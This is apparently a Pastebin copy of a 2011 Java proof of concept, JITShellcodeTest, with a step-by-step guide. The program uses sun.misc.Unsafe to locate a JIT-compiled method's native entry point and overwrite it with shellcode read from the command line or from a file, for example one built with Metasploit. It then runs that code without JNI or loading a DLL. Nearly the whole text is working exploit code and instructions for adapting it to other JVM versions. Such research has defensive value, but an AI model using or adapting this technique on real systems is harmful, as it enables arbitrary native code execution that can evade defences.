Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * Running shellcode from Java without JNI (i. e. loading a DLL from disk).
- * Second attempt, this time trying to overwrite a JITed method.
- * (c) 2011 Michael Schierl <schierlm at gmx dot de> (Twitter @mihi42)
- *
- * Tested versions:
- * .---------------------------.---------.------------.---------.-----------------.
- * | JVM version | MA slot | NMethod | Entry Pt | EXITFUNC thread |
- * |===========================|=========|=========|==========|=================|
- * | Oracle 1.4.2 Win32 | 25 | 14 | 27 | Not supported |
- * | Oracle 1.5 Win32 | 29 | 11 | 26 | Not supported |
- * | Oracle 1.6 Win32 | 29 | 17 | 31 | Not supported |
- * '---------------------------'---------'---------'----------'-----------------'
- *
- * How to test other versions:
- *
- * 1. Compile this class with settings supported by your target JVM (and
- * -target 1.1) and run it without arguments. It will examine the class fields
- * for candidates that might hold a pointer to the method array. The method
- * array is a Java array that contains one entry for each method, and this
- * entry contains a native pointer to its entry point (for native methods).
- * Therefore we first have to find the offset of this pointer. First filter
- * out all values that are most likely not pointers (too small, too "round",
- * etc.) In case you have a debugger handy, look at the remaining candidates.
- * A method array will start with jvm flags (usually 0x00000001), a pointer
- * to the array's element class object, its length (which should be equal to
- * the number printed above the candidate table), and a pointer to each of the
- * elements. The rest (up to an architecture-dependent size) is padded with
- * zeros. If you don't have a debugger handy, just try all of the candidates
- * in the next step until you get success.
- *
- * [Note: On Win32, the slots before the pointer are filled with 0,0,0(,0,1,0,0).]
- *
- * 2. Run the class with the (suspected) correct method array slot number as its
- * (only) argument. If the slot was wrong, the JVM will most likely print an
- * obscure error message or crash. If the slot was correct, it will dump the
- * fields of the method object inside the array, once before running the method
- * and once after running the method 1000 times. One of these fields is pointer
- * to the NMETHOD struct of the function (which contains information about JITted
- * methods) - which is only filled after the method has been JITted (in case no
- * field changed, try to run with -Xint to avoid JIT and compare the results).
- * Examine the pointers until you found this slot, or again just use trial and
- * error in the next step.
- *
- * [Note: On Win32, this is 2 slots before the native method slot of
- * ShellcodeTest.java.]
- *
- * 3. Run the class with two parameters, first the method array slot number from
- * step one, then the NMethod slot number from step two. It will print the
- * members of that struct, and you have to pick the entry point. For static
- * methods, the entry point usually occurs three times (_entry_point,
- * _verified_entry_point, _osr_entry_point), it does not matter which one you
- * pick. Use this value as the 3rd parameter. The first three parameters have
- * to be kept for all the following steps, there are only parameters to be
- * added.
- *
- * [Note: On Win32, the value is only slightly higher than the
- * NMethod pointer value]
- *
- * 4. Run the class with "raw C3" as the 4th and 5th parameter (if your architecture
- * uses a different opcode for RET, replace it, e. g. "raw DE AD BE EF". This code
- * will be written into a freshly allocated memory region and the region's base
- * address will be used for the pointer. This time, the program should not crash,
- * but return, and print a success message as last step. Running it with
- * "threaded raw C3" should result in the same results.
- *
- * 5. Use Metasploit or similar to build a native shellcode for your platform,
- * using EXITFUNC = thread (or similar) - EXITFUNC = RET would be better. Now run
- * the class with "file /path/to/your/shellcode" as 4th and 5th parameter, which
- * should result in execution of your shellcode, but probably a crash afterwards.
- * Try again with "threaded file /path/to/your/shellcode". On Windows, both variants
- * run the shellcode, but crash/hang afterwards, therefore the "Not Supported" in the
- * last column of the table. [The unthreaded approach kills the Java process on exit,
- * the threaded approach hangs forever.]
- *
- * 6. Fill in the table above and send it to me :-)
- */
- import java.io.File;
- import java.io.FileInputStream;
- import java.io.IOException;
- import java.lang.reflect.Array;
- import java.lang.reflect.Field;
- import sun.misc.Unsafe;
- public class JITShellcodeTest implements Runnable {
- private static int addressSize;
- public static void main(String[] args) throws Exception {
- // avoid Unsafe.class literal here since it may introduce
- // a synthetic method and disrupt our calculations.
- java.lang.reflect.Field unsafeField = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
- unsafeField.setAccessible(true);
- Unsafe unsafe = (Unsafe) unsafeField.get(null);
- addressSize = unsafe.addressSize();
- Class thisClass = Class.forName("JITShellcodeTest");
- final int METHOD_COUNT = thisClass.getDeclaredMethods().length + 1;
- System.out.println("[*] Shellcode class has " + METHOD_COUNT + " methods.");
- Field staticField = thisClass.getDeclaredField("addressSize");
- Object staticFieldBase = unsafe.staticFieldBase(staticField);
- long staticFieldOffset = unsafe.staticFieldOffset(staticField);
- long maxOffset = staticFieldOffset;
- if (args.length == 0) {
- System.out.println("[*] Candidates for method array slot:");
- printStaticSlots(unsafe, staticFieldBase, maxOffset);
- System.out.println("[*] Select method array slot now!");
- return;
- }
- long methodArraySlot = Integer.parseInt(args[0]);
- System.out.println("[*] Obtaining method array (slot " + methodArraySlot + ")");
- Object methodArray = unsafe.getObject(staticFieldBase, methodArraySlot * addressSize);
- int methodCount = Array.getLength(methodArray);
- if (methodCount != METHOD_COUNT) {
- System.out.println("[-] ERROR: Array length is " + methodCount + ", should be " + METHOD_COUNT);
- return;
- }
- System.out.println("[+] Successfully obtained method array");
- Field methodSlotField = Class.forName("java.lang.reflect.Method").getDeclaredField("slot");
- methodSlotField.setAccessible(true);
- int shellcodeMethodSlot = ((Integer) methodSlotField.get(thisClass.getDeclaredMethod("jitme", new Class[0]))).intValue();
- System.out.println("[*] Obtaining method object (slot " + shellcodeMethodSlot + ")");
- Object methodObject = Array.get(methodArray, shellcodeMethodSlot);
- System.out.println("[+] Successfully obtained method object");
- maxOffset = 30*addressSize;
- long[] oldval = new long[(int)(maxOffset/addressSize)];
- for (long offset = 0; offset < maxOffset; offset += addressSize) {
- oldval[(int)(offset/addressSize)] = addressSize == 8 ? unsafe.getLong(methodObject, offset) : unsafe.getInt(methodObject, offset) & 0xFFFFFFFFL;
- }
- // make him JIT!
- for (int i = 0; i < 10000; i++) {
- jitme();
- }
- if (args.length == 1) {
- System.out.println("[*] Candidates for NMETHOD slot:");
- for (long offset = 0; offset < maxOffset; offset += addressSize) {
- long value = addressSize == 8 ? unsafe.getLong(methodObject, offset) : unsafe.getInt(methodObject, offset) & 0xFFFFFFFFL;
- System.out.println("\t" + offset / addressSize + "\t" + oldval[(int)(offset/addressSize)] + "\t" + Long.toHexString(value));
- }
- System.out.println("[*] Select NMETHOD slot now!");
- return;
- }
- long nmethodSlot = Integer.parseInt(args[1]);
- System.out.println("[*] Obtaining NMETHOD pointer (slot " + nmethodSlot + ")");
- long nmethodValue = addressSize == 8 ? unsafe.getLong(methodObject, nmethodSlot * addressSize) : unsafe.getInt(methodObject, nmethodSlot * addressSize) & 0xFFFFFFFFL;
- System.out.println("[+] Successfully obtained NMETHOD pointer");
- if (nmethodValue == 0 || oldval[(int)nmethodSlot] != 0) {
- System.out.println("[-] ERROR: invalid nmethod slot (or JIT did not run?)");
- return;
- }
- if (args.length == 2) {
- System.out.println("[*] Candidates for entry point offset:");
- maxOffset = 40*addressSize;
- for (long offset = 0; offset < maxOffset; offset += addressSize) {
- long value = addressSize == 8 ? unsafe.getLong(nmethodValue+offset) : unsafe.getInt(nmethodValue+offset) & 0xFFFFFFFFL;
- System.out.println("\t" + offset / addressSize + "\t" + Long.toHexString(value));
- }
- System.out.println("[*] Select entry point offset now!");
- return;
- }
- int epOffset = Integer.parseInt(args[2]);
- System.out.println("[*] Obtaining entry point pointer (offset " + epOffset + ")");
- final long targetAddress = addressSize == 8 ? unsafe.getLong(nmethodValue+epOffset * addressSize) : unsafe.getInt(nmethodValue+epOffset*addressSize) & 0xFFFFFFFFL;
- System.out.println("[+] Successfully obtained entry point pointer");
- boolean useThread = false;
- int argOffset = 3;
- if (args.length > 3 && args[3].equals("threaded")) {
- argOffset++;
- useThread = true;
- }
- if (args.length == argOffset) {
- System.out.println("[-] ERROR: Need a payload, cannot just set a target!");
- System.out.println("[*] Continuing anyway...");
- } else {
- String mode = args[argOffset];
- argOffset++;
- if (mode.equals("raw")) { // raw c3
- for (int i = argOffset; i < args.length; i++) {
- unsafe.putByte(targetAddress + i - argOffset, (byte) Integer.parseInt(args[i], 16));
- }
- } else if (mode.equals("file")) {
- File file = new File(args[argOffset]);
- if (file.length() > 2880)
- throw new IOException("File too large, "+file.length() +" > 2880 ");
- FileInputStream fis = new FileInputStream(file);
- int b;
- long ptr = targetAddress;
- while ((b = fis.read()) != -1) {
- unsafe.putByte(ptr, (byte) b);
- ptr++;
- }
- } else {
- System.out.println("Unsupported mode: " + mode);
- return;
- }
- }
- System.out.println("[+] Successfully overwritten JIT method");
- if (useThread) {
- System.out.println("[*] Executing native method in thread");
- Thread thread = new Thread(new JITShellcodeTest());
- thread.start();
- System.out.println("[*] Thread started");
- thread.join();
- System.out.println("[*] Thread successfully finished");
- } else {
- System.out.println("[*] Executing native method (drum roll...)");
- executed = false;
- jitme();
- if (executed)
- System.out.println("[-] ERROR: Original method has been executed!");
- else
- System.out.println("[+] Executed native method and returned!");
- }
- }
- public void run() {
- try {
- executed = false;
- jitme();
- if (executed)
- System.out.println("[-] ERROR: Original method has been executed!");
- } catch (Throwable t) {
- t.printStackTrace();
- }
- }
- private static void printStaticSlots(Unsafe unsafe, Object object, long maxOffset) {
- for (long offset = 0; offset < maxOffset; offset += addressSize) {
- long value = addressSize == 8 ? unsafe.getLong(object, offset) : unsafe.getInt(object, offset) & 0xFFFFFFFFL;
- System.out.println("\t" + offset / addressSize + "\t" + Long.toHexString(value));
- }
- }
- private static volatile boolean executed;
- private static volatile int v1,v2,v3,v4,v5;
- private static void jitme() {
- executed = true;
- // On x86: each volatile inc/dec needs 18 bytes,
- // all 160 of them need 2880 bytes,
- // whole JIT method needs 2962 bytes.
- // if you need more shellcode, make a longer method
- v1++; v2++; v3++; v4++; v5++;
- v1++; v2++; v3++; v4++; v5--;
- v1++; v2++; v3++; v4--; v5++;
- v1++; v2++; v3++; v4--; v5--;
- v1++; v2++; v3--; v4++; v5++;
- v1++; v2++; v3--; v4++; v5--;
- v1++; v2++; v3--; v4--; v5++;
- v1++; v2++; v3--; v4--; v5--;
- v1++; v2--; v3++; v4++; v5++;
- v1++; v2--; v3++; v4++; v5--;
- v1++; v2--; v3++; v4--; v5++;
- v1++; v2--; v3++; v4--; v5--;
- v1++; v2--; v3--; v4++; v5++;
- v1++; v2--; v3--; v4++; v5--;
- v1++; v2--; v3--; v4--; v5++;
- v1++; v2--; v3--; v4--; v5--;
- executed = true;
- v1--; v2++; v3++; v4++; v5++;
- v1--; v2++; v3++; v4++; v5--;
- v1--; v2++; v3++; v4--; v5++;
- v1--; v2++; v3++; v4--; v5--;
- v1--; v2++; v3--; v4++; v5++;
- v1--; v2++; v3--; v4++; v5--;
- v1--; v2++; v3--; v4--; v5++;
- v1--; v2++; v3--; v4--; v5--;
- v1--; v2--; v3++; v4++; v5++;
- v1--; v2--; v3++; v4++; v5--;
- v1--; v2--; v3++; v4--; v5++;
- v1--; v2--; v3++; v4--; v5--;
- v1--; v2--; v3--; v4++; v5++;
- v1--; v2--; v3--; v4++; v5--;
- v1--; v2--; v3--; v4--; v5++;
- v1--; v2--; v3--; v4--; v5--;
- executed = true;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment